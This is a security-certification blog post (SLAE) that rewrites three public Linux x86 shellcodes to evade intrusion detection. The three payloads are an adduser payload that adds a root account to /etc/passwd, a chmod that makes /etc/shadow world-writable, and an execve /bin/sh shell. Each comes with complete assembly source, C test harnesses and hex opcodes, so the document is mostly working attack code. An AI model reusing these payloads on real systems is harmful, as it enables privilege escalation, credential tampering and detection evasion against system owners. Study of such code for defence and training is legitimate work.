SLAE #6: Polymorphic versions of public shellcodes

SLAE_logo2

Content

  1. Introduction
  2. MSF /linux/x86/adduser – Smaller and NULL free version
  3. chmod(/etc/shadow, 0666) & exit()  by ka0x – Smaller version
  4. Linux/x86 Shellcode execve (“/bin/sh”) by kernel_panik – Smaller version

1. Introduction

I will modify or polymorph three publicly available shellcodes. Primarily to avoid IDS detection by changing the signature of the payload but also to make it better or smaller.

2. MSF /linux/x86/adduser – Smaller and NULL free version

The adduser shellcode from metasploit is great. Very flexible and fits perfectly into a framework such as metasploit.
Here is the thing though: It is full of NULL characters and rather large. Encoding it to get rid of the NULL’s makes it even bigger.
Solution: I replace the optimised call&pop routine with the good old jmp, call & pop and replace some other small bits and pieces.
The full jmp, call & pop will require us to hardcode the length of the string, which shouldn’t matter since we have to hardcode the string anyway.
We can even make it a little smaller by deleting the setreuid() function which is generally not required (but can be added back in whenever needed).
Without further delay, here is the final product:

; Filename: msf_adduser_poly.nasm
; Author: Taken from Metasploit
; Modified by Re4son re4son [at] whitedome.com.au
; Purpose: Null free and smaller polymorphic version
;          of the metasploit linux/x86/adduser payload
;          Creates root user "re4son" with password w00tw00t



global _start           

section .text

_start:
  ; setreuid() sets real and effective user IDs of the calling process
  ; int setreuid(uid_t ruid, uid_t euid)
  ; can be optimised out for most cases - un-comment it if you need it
  ;xor    ecx,ecx		; zero out ecx
  ;mov    ebx,ecx		; and ebx
  ;push   0x46			; put sys_setreuid
  ;pop    eax			;  into eax
  ;int    0x80			; and invoke system call


  ; open, create - open and possibly create a file or device
  ; int open(const char *pathname, int flags)
  xor	 eax, eax		; zero out eax
  mov	 ecx, eax		;  and ecx
  mov     al, 0x5		; put sys_open into eax
  push   ecx			; push null terminator onto stack
  push   dword 0x64777373	; push sswd
  push   dword 0x61702f2f	; push //pa
  push   dword 0x6374652f	; push /etc
  mov    ebx,esp		; store pointer to file name in ebx
  mov    cl,0x1			; set O_WRONLY flag (01)
  mov    ch,0x4			; set O_APPEND flag (02000)
  int    0x80			; and invoke system call


  ; write - write to a file descriptor
  ; ssize_t write(int fd, const void *buf, size_t count)
  xchg   ebx,eax		; store file descriptor in ebx
  jmp string
adduser:
  pop    ecx			; put the pointer to our string in ecx
  mov    byte dl, 0x23		; put the size in edx - make sure it is right
  push   0x4			; put sys_write
  pop    eax			;  into eax
  int    0x80			; and invoke system call


  ; exit - terminate the calling process
  ; void _exit(int status)
  push   0x1			; put sys_exit
  pop    eax			;  in eax
  int    0x80			; so long and thanks for all the fish

string:
call   adduser			; jmp/call/pop trick to get our db address
userstring db "re4son:Az/dIsj4p4IRc:0:0::/:/bin/sh"	; size 35 - 0x23 copy to adduser call

Let’s make sure it still works though:

slae06_01

Awesome. It works, is smaller and has no NULL bytes.

Let’s check the differences between the original and the polymorphed versions using vimdiff: slae06_02

\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58\x31\xc9\x51\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe3\x41\xb5\x04\xcd\x80\x93\xe8\x24\x00\x00\x00\x72\x65\x34\x73\x6f\x6e\x3a\x41\x7a\x2f\x64\x49\x73\x6a\x34\x70\x34\x49\x52\x63\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a\x2f\x62\x69\x6e\x2f\x73\x68\x0a\x59\x8b\x51\xfc\x6a\x04\x58\xcd\x80\x6a\x01\x58\xcd\x80
\x31\xc0\x89\xc1\xb0\x05\x51\x68\x73\x73\x77\x64\x68\x63\x2f\x70\x61\x68\x2f\x2f\x65\x74\x89\xe3\xb1\x01\xb5\x04\xcd\x80\x93\xeb\x0d\x59\xb2\x23\x6a\x04\x58\xcd\x80\x6a\x01\x58\xcd\x80\xe8\xee\xff\xff\xff\x72\x65\x34\x73\x6f\x6e\x3a\x41\x7a\x2f\x64\x49\x73\x6a\x34\x70\x34\x49\x52\x63\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a\x2f\x62\x69\x6e\x2f\x73\x68
 

Perfect. New opcodes, smaller, and NULL byte free.

3. chmod(/etc/shadow, 0666) & exit()  by ka0x – Smaller version

I’ve applied some optimizations and alternative instructions to change the opcodes in this shellcode and ended up with one that is 2 bytes less.
Let start with the original code:

#include <stdio.h>
 
/*
    linux/x86 ; chmod(/etc/shadow, 0666) & exit() 33 bytes
    written by ka0x - ka0x01[alt+64]gmail.com
    lun sep 21 17:13:25 CEST 2009
 
    greets: an0de, Piker, xarnuz, NullWave07, Pepelux, JosS, sch3m4, Trancek and others!
 
*/
 
int main()
{
 
    char shellcode[] =
            "\x31\xc0"          // xor eax,eax
            "\x50"              // push eax
            "\x68\x61\x64\x6f\x77"      // push dword 0x776f6461
            "\x68\x2f\x2f\x73\x68"      // push dword 0x68732f2f
            "\x68\x2f\x65\x74\x63"      // push dword 0x6374652f
            "\x89\xe3"          // mov ebx,esp
            "\x66\x68\xb6\x01"      // push word 0x1b6
            "\x59"              // pop ecx
            "\xb0\x0f"          // mov al,0xf
            "\xcd\x80"          // int 0x80
            "\xb0\x01"          // mov al,0x1
            "\xcd\x80";         // int 0x80
 
    printf("[*] ShellCode size (bytes): %d\n\n", sizeof(shellcode)-1 );
    (*(void(*)()) shellcode)();
     
    return 0;
}

 

And here my modified version:

; linux/x86 ; chmod(/etc/shadow, 0666) & exit() 33 bytes
; written by ka0x - ka0x01[alt+64]gmail.com
; lun sep 21 17:13:25 CEST 2009
; 
; greets: an0de, Piker, xarnuz, NullWave07, Pepelux, JosS, sch3m4, Trancek and others!
;
; Polymorphed by Re4son: 31 bytes
; re4son [at] whitedome.com.au

global _start           

section .text

_start: 
  cdq			; clear edx
  push edx		; push NULL termination
  push dword 0x776f6461 ; push adow 
  push dword 0x68732f63 ; push hs/c
  push dword 0x74652f2f ; push te//
  mov ebx,esp
  mov al,0xf
  mov cx,0x1be		; chmod 676
  int 0x80
  mov al,0x1
  int 0x80

Proof that it still work the way intended (note that we changed chmod 666 to chmod 676):

slae06_03

Again the differences between the original and the polymorphed versions using vimdiff:   Anslae06_04
And here the differences in shellcodes (original on top):

\x31\xc0\x50\x68\x61\x64\x6f\x77\x68\x2f\x2f\x73\x68\x68\x2f\x65\x74\x63\x89\xe3\x66\x68\xb6\x01\x59\xb0\x0f\xcd\x80\xb0\x01\xcd\x80
\x99\x52\x68\x61\x64\x6f\x77\x68\x63\x2f\x73\x68\x68\x2f\x2f\x65\x74\x89\xe3\xb0\x0f\x66\xb9\xbe\x01\xcd\x80\xb0\x01\xcd\x80

Pretty good.

4. Linux/x86 Shellcode execve (“/bin/sh”) by kernel_panik – Smaller version

Again I’ve substituted some obcodes with more efficient ones and changed “//bin/sh” to /bin//sh” resulting in a smaller shellcode with different opcodes to the original one.

Here the original from Shell-Storm.com:

*
 Title: linux/x86 Shellcode execve ("/bin/sh") - 21 Bytes
 Date     : 10 Feb 2011
 Author   : kernel_panik
 Thanks   : cOokie, agix, antrhacks
*/

/*
 xor ecx, ecx
 mul ecx
 push ecx
 push 0x68732f2f   ;; hs//
 push 0x6e69622f   ;; nib/
 mov ebx, esp
 mov al, 11
 int 0x80
*/


#include <stdio.h>
#include <string.h> 

char code[] = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f"
              "\x73\x68\x68\x2f\x62\x69\x6e\x89"
              "\xe3\xb0\x0b\xcd\x80";

int main(int argc, char **argv)
{
 printf ("Shellcode length : %d bytes\n", strlen (code));
 int(*f)()=(int(*)())code;
 f();
}

My polymorphed version:

; Title: linux/x86 Shellcode execve ("/bin/sh") - 21 Bytes
; Date     : 10 Feb 2011
; Author   : kernel_panik
; Thanks   : cOokie, agix, antrhacks
;
; Polymorphed by Re4son: 18 bytes
; re4son [at] whitedome.com.au
; "\xfc\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\xb0\x0b\x89\xe3\xcd\x80"

global _start           

section .text

_start: 
 cld		   ;; zero out edx
 push edx          ;; push NULL termination
 push 0x68732f6e   ;; hs/n
 push 0x69622f2f   ;; ib//
 mov al, 11
 mov ebx, esp
 int 0x80

Let’s run both version to make sure they do the same thing:

slae06_05

Excellent.

Why don’t we compare both sources with vimdiff:

slae06_06

Below the differences in shellcodes:

\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80
\xfc\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\xb0\x0b\x89\xe3\xcd\x80
 

Excellent. There we have it – three polymorphic versions of publicly available shellcodes for IDS avoidance but also with the benefit of being smaller and NULL free.

All files are available on github.


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student-ID: SLAE – 674

Facebooktwitterredditpinterestlinkedinmail

Leave a Reply